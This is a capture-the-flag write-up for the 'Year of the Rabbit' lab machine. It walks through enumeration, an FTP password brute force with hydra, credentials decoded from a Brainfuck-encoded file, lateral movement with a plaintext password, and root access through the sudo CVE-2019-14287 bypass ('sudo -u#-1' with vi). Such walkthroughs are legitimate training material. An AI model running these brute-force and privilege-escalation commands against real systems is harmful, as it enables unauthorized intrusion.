



Year of the Rabbit(Puzzle and SudoBypass)

Nmap Results →

```
Nmap scan report for 10.10.173.26
Host is up (0.050s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
| ssh-hostkey:
| 1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
| 2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
| 256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
|_ 256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
80/tcp    open  http
|_ http-server-header: Apache/2.4.10 (Debian)
|_ http-title: Apache2 Debian Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/11%OT=21%CT=1%CU=39816%PV=Y%DS=2%DC=T%G=Y%TM=5F0A110
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=10F%TI=Z%CI=I%II=I%TS=8)OPS(
OS:01=M508ST11NW7%02=M508ST11NW7%03=M508NNT11NW7%04=M508ST11NW7%05=M508ST11
OS:NW7%06=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(
OS:R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
```




HTTP

So when we first traverse to the page we find out there is nothing interesting and it's just a default page.

Let's try some dirbusting and see if we can get some directories that can be interesting and here the only abnormal one is /assets maybe there are some files on there or something.

```
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://10.10.173.26
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
=====
2020/07/11 15:24:26 Starting gobuster
=====
/.hta (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/.htaccess (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)
```

In the assets folder we find two files the styles.css and Rickrolled

	Parent Directory	
	RickRolled.mp4	2020-01-23 00:34 384M
	style.css	2020-01-23 00:34 2.9K

When we look at style.css we find this interesting comment there

```

    text-align: center;
}
/* Nice to see someone checking the stylesheets.
   Take a look at the page: /sup3r_s3cr3t_fl4g.php
*/

```

which if we traverse we get a pop up which says turn off your javascript and then we get rickrolled.



Which i kinda found interesting and as its my only lead i tried investigating it more by using Burp and intercepting that request and that was it we find another hidden directory

```

Raw Params Headers Hex
GET /intermediary.php?hidden_directory=/ HTTP/1.1
Host: 10.10.173.26
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

```

and when you go to this directory by doing <ip>/directoryname we get an image there

Name	Last modified	Size	Description
	Parent Directory		
	Hot_Babe.png	2020-01-23 00:34 464K	

Apache/2.4.10 (Debian) Server at 10.10.173.26 Port 80

If you run strings on that png file we find the user name and a list of possible passwords

So i copied all those possible passwords pasted them in a passlist file and then i used xhydra to brute force it you can use hydra if you want with the following command →

```
hydra -l username -P passlist -t 28 <ip> ftp
```

and then with the found credentials lets log in to the FTP server and then we find this file called Eli's_Creds.txt which is interesting so we get it to our local machine.

and when we cat it out we see this random mess

```

root@kali:~/Year of the Rabbit# cat Eli's_Creds.txt
+++++ ++++ [ ->+ +++++ +<]>+ +. < +++++ [ ->+ +<+> ]>++++ +. <+ +[->
-<]> ----- .<+ [ ->+ +<]>+ +. < +++++ +[-> ----- -<]> ----- -. <+
++++ [ -> ----- -. <+ +++++ +[-> +++++ +<]> +++++ .++++ +<+ -> -. <+
++++ +<+ [-> ----- -<]> -> ----- -. <+ +++++ +<+ [-> +++++ +<+<
]>+ +. < +++++ [ ->+ +<]>+ .<+ +[-> +<+> ]>+ .. +++++. ----- -. +
+. <+ +<+ [-> ----- -. <+ +++++ [ -> ----- -<]> ----- -. <+ +++++ [ ->
-<]> -. <+ +++++ [ ->+ +<]> .<+ +[-> +<+> ]>++++ +. <+ +<+ [-> +++++
+<]>+ +. < +++++ +[-> ----- -<]> -> ----- -. <+ +++++ [ ->+ +<]> ]>+. <+
++++ [ -> ----- -<]> -> -. < +++++ [ -> ----- -<]> >----- .<+ +++++ [ ->+ +<+>
<]>+ +. <+ +<+ +<+ [-> ----- -<]> >----- -. +<+ +. <+ +++++ [ ->+ +<+>
<]>+ .<+ [ -> ----- -<]> -> ----- -. <+ +. <+ +++++ [ ->+ +<+>

```

which is a language called Brainfuck which you can decode over here <https://www.dcode.fr/brainfuck-language> and when you decode this you get ssh credentials .

and when we login we see this message which is interesting it calls about a file called s3cr3t so maybe that's a directory or file we can use to find.

```
eli@10.10.173.26's password:
GATEWAY 192.168.149.2/255.255.255.0 TRACE=trng RWADON=0000c1290b01e0c
TUN/TAP device tunc opened
2020-11-17 17:55:2820 TUN/TAP tx queue length set to 100
2020-11-17 17:55:2820 TUN/TAP link set dev tunc up mtu 1500
1 new message
Message from Root to Gwendoline: addr add dev tunc 10.11.8.105/16 broadcast 10.11.255.255
2020-11-17 17:55:2820 TUN/TAP tx queue length set to 100
2020-11-17 17:55:2820 TUN/TAP link set dev tunc up mtu 1500
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE
2020-11-17 17:55:2820 Initialization Sequence Completed
```

i used this command to try to find a directory called s3cret or containing a word and luckily we found a result

```
find / -type d -name "*s3cr3t*" 2>/dev/null
```

which is here in the /usr/games folder

```
/var/www/html/sup3r_s3cr3t_fl4g.php
eli@year-of-the-rabbit:~$ find / -type d -name "*s3cr3t*" 2>/dev/null
/usr/games/s3cr3t
```

and in there is a hidden file called th1s_m3ss4g3_15_f0r_gw3nd0l1n_Only!

and guess what we find there we find credentials for lateral movement in the machine

```
eli@year-of-the-rabbit:/usr/games/s3cr3t$ cat .th1s_m3ss4g3_15_f0r_gw3nd0l1n
Your password is awful, Gwendoline.
It should be at least 60 characters long! Not just H457C@P455H457!
Honestly!

Yours sincerely
~Root
eli@year-of-the-rabbit:/usr/games/s3cr3t$
```

and then we can just su to the user gwendoline and use the password and then traverse over to /home/gwendoline and cat out the user.txt

Now for privesc when we do sudo -l

```
gwendoline@year-of-the-rabbit:~$ sudo -l
Matching Defaults entries for gwendoline on year-of-the-rabbit:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gwendoline may run the following commands on year-of-the-rabbit:
  (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
```

We see this which says we can /usr/bin/vi /home/gwendoline/user.txt as sudo for any user leaving root which is not what we want but luckily there is vulnerability which we can use to our advantage which is with sudo its CVE is CVE-2019-14287 and there is a room on THM if you wanna learn more about it → <https://tryhackme.com/room/sudovulnsbypass> but basically what we do is just use sudo uid as less than 0 and it will revert to 0 leading into a root shell so now we can just use

```
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
```

and vi should open up for us and while we are in command mode just type

```
:shell
```

and we should be redirected to our root shell and we can cat out the root flag.